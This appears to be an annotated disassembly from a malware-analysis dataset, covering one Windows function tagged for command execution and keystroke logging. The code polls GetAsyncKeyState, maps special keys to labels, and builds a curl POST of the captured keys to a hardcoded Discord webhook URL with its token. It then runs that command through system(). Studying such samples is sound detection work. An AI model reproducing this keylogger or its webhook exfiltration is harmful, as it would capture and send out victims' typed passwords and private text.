Function at 0x14001172b
Capabilities:
Execute command
Log keystrokes via polling

Disassembly:
jmp 0x14001bd20
push rbp
push rdi
sub rsp, 0x3b8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x86
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140025040]
xor rax, rbp
mov qword [rbp + 0x380], rax
lea rcx, [0x14002b0f7]
call fcn.140011640
nop
xor eax, eax
cmp eax, 1
je 0x14001bfc2
mov byte [rbp + 4], 0
jmp 0x14001bd78
movzx eax, byte [rbp + 4]
inc al
mov byte [rbp + 4], al
movsx eax, byte [rbp + 4]
cmp eax, 0xfe
jg 0x14001bfbd
movsx eax, byte [rbp + 4]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 1
test eax, eax
je 0x14001bfb8
lea rcx, [rbp + 0x28]
call fcn.140011726
nop
movsx eax, byte [rbp + 4]
mov dword [rbp + 0x354], eax
mov eax, dword [rbp + 0x354]
dec eax
mov dword [rbp + 0x354], eax
cmp dword [rbp + 0x354], 0x1f
ja case.0x14001bdee.9
movsxd rax, dword [rbp + 0x354]
lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0x1c014]
mov eax, dword [rcx + rax*4 + 0x1bfec]
add rax, rcx
jmp rax
lea rdx, str._space_
lea rcx, [rbp + 0x28]
call fcn.1400116fe
nop
jmp 0x14001be9c
lea rdx, str._backspace_
lea rcx, [rbp + 0x28]
call fcn.1400116fe
nop
jmp 0x14001be9c
lea rdx, str._enter_
lea rcx, [rbp + 0x28]
call fcn.1400116fe
nop
jmp 0x14001be9c
lea rdx, str._shift_
lea rcx, [rbp + 0x28]
call fcn.1400116fe
nop
jmp 0x14001be9c
lea rdx, str._control_
lea rcx, [rbp + 0x28]
call fcn.1400116fe
nop
jmp 0x14001be9c
lea rdx, str._cap_
lea rcx, [rbp + 0x28]
call fcn.1400116fe
nop
jmp 0x14001be9c
lea rdx, str._tab_
lea rcx, [rbp + 0x28]
call fcn.1400116fe
nop
jmp 0x14001be9c
lea rdx, str._alt_
lea rcx, [rbp + 0x28]
call fcn.1400116fe
nop
jmp 0x14001be9c
movzx edx, byte [rbp + 4]
lea rcx, [rbp + 0x28]
call fcn.140011721
nop
lea rdx, str.https:__discordapp.com_api_webhooks_1261128617774026814_FClgnuwFyDPRVLqNfv1Mitk6g1n6pu68l_AfBammbizqHzbweMoOd7cfhzQ7JNozvNjw
lea rcx, [rbp + 0x68]
call fcn.1400112a8
nop
lea rdx, str.curl__i__H__Accept:_application_json___H__Content_Type:application_json___X_POST___data___content_:__
lea rcx, [rbp + 0xa8]
call fcn.1400112a8
nop
lea rdx, str.__
lea rcx, [rbp + 0xe8]
call fcn.1400112a8
nop
lea r8, [rbp + 0x28]
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x2a8]
call fcn.14001171c
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x360], rax
lea r8, [rbp + 0xe8]
mov rdx, qword [rbp + 0x360]
lea rcx, [rbp + 0x2e8]
call fcn.140011208
mov qword [rbp + 0x368], rax
mov rax, qword [rbp + 0x368]
mov qword [rbp + 0x370], rax
lea r8, [rbp + 0x68]
mov rdx, qword [rbp + 0x370]
lea rcx, [rbp + 0x328]
call fcn.140011208
mov qword [rbp + 0x378], rax
mov rcx, qword [rbp + 0x378]
call fcn.1400110a0
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [rbp + 0x328]
call fcn.14001112c
nop
lea rcx, [rbp + 0x2e8]
call fcn.14001112c
nop
lea rcx, [rbp + 0x2a8]
call fcn.14001112c
nop
lea rcx, [rbp + 0xe8]
call fcn.14001112c
nop
lea rcx, [rbp + 0xa8]
call fcn.14001112c
nop
lea rcx, [rbp + 0x68]
call fcn.14001112c
nop
lea rcx, [rbp + 0x28]
call fcn.14001112c
nop
jmp 0x14001bd6f
jmp 0x14001bd5e
lea rcx, [rbp - 0x20]
lea rdx, [0x1400210d0]
call fcn.140011537
mov rcx, qword [rbp + 0x380]
xor rcx, rbp
call fcn.140011302
lea rsp, [rbp + 0x398]
pop rdi
pop rbp
ret